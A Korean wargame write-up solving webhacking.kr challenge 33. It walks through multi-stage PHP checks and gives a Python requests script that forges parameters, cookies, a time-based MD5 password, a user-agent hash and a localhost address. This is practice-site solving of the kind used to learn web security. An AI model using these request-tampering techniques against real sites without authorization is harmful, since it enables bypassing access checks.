2018. 2. 21. 13:15

## prob33(web, 200pt)


[Main]

 33번 문제는 뭔가 자잘한 문제들이 여러 개 포함되어 있는 문제였습니다. 우선 문제를 살펴보면 아래 [그림 1]과 같습니다.


[그림 1] 문제 페이지


 php 소스코드의 링크가 주어지는데 들어가보면 아래 [그림 2]와 같은 소스코드가 보입니다.


[그림 2] index.phps


 소스코드를 보면 "get"파라미터로 "hehe"라는 값이 들어오면 다음 stage로 가는 href 링크가 주어지는 형식이었습니다. 이 조건을 만족시켜주면 아래 [그림 3]과 같이 stage1을 클리어하고 stage2로 가는 링크가 주어지게 됩니다.


[그림 3] stage1 Clear!


 이런 식으로 한 단계씩 클리어해 나가면 되는 문제였습니다. stage2는 post변수의 값을 체크하는 조건이 있었고, 이는 burp suite라는 프록시 툴을 이용해 만족시킬 수 있습니다. stage3은 get방식으로 myip라는 인자를 받고, 해당 값과 $_SERVER[REMOTE_ADDR] 변수와 비교하는 조건이 있었습니다. $_SERVER[REMOTE_ADDR]는 공인 IP가 기록되어 있으므로 자신의 공인 아이피를 잘 확인해서 myip라는 인자로 GET방식으로 넘기면 클리어 되었습니다.


 이 후 수동으로 하다가 점점 힘들어져 python 스크립트를 이용하여 문제를 풀었습니다. 


[prob33.py]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-
import requests
from time import time
import hashlib
 
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXX',}
 
if __name__ == '__main__':
 
    ## Stage 4
    url = "http://webhacking.kr/challenge/bonus/bonus-6/l4.php"
    m = hashlib.md5()
    get_time = str(int(time())); print get_time
    m.update(get_time)
    
    params = {'password':m.hexdigest()}
    req = requests.get(url = url, params = params, headers = header)
    print req.text
 
    ## Stage 5
    url = "http://webhacking.kr/challenge/bonus/bonus-6/md555.php?imget=1"
    header = {'Cookie':'imcookie=1; PHPSESSID=XXXXXXXXXXXXXX',}
    params = {'impost':'1'}
    req = requests.post(url = url, data = params, headers=header)
    print req.text
 
    ## Stage 6
    url = "http://webhacking.kr/challenge/bonus/bonus-6/gpcc.php"
    header = {'Cookie':'test='+hashlib.md5("XX.XX.XX.XX").hexdigest()+'; PHPSESSID=XXXXXXXXXXXXXX',}
    params = {'kk':hashlib.md5("python-requests/2.18.4").hexdigest()}
    req = requests.post(url = url, data = params, headers=header)
    print req.text
 
    ## Stage 7
    url = "http://webhacking.kr/challenge/bonus/bonus-6/wtff.php"
    header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXX',}
    params = {'1641257031':'1641257031'}
    req = requests.get(url = url, params = params, headers = header)
    print req.text
 
    ## Stage 8
    url = "http://webhacking.kr/challenge/bonus/bonus-6/ipt.php"
    header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXX',}
    params = {'addr':'127.0.0.1'}
    req = requests.get(url = url, params = params, headers = header)
    print req.text
 
    ## Stage 9
    url = "http://webhacking.kr/challenge/bonus/bonus-6/nextt.php"
    header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXX',}
    ans = ""
    for i in xrange(971222):
        ans += chr(i)
    params = {'ans':ans}
    req = requests.get(url = url, params = params, headers = header)
    print req.text
cs


대충 이와 같은 식으로 풀면 되는데, stage10번과 같은 경우 php를 온라인에서 실행시켜주는 사이트를 이용하면 쉽게 풀 수 있었습니다. 자신의 IP와 같이 개인별로 답이 다를 수 있어 위 코드를 실행시키면 제대로 클리어하지 않을 수 있으니 각 스테이지별 php 소스코드를 확인하시고, 조건에 맞게 맞춰주셔야 합니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob26(100pt)  (0) 2018.02.21
[webhacking.kr] prob5(300pt)  (0) 2018.02.21
[webhacking.kr] prob4(150pt)  (0) 2018.02.21
[webhacking.kr] prob1(200pt)  (0) 2018.02.21
[webhacking.kr] prob46(300pt)  (0) 2018.01.26
Posted by holinder4S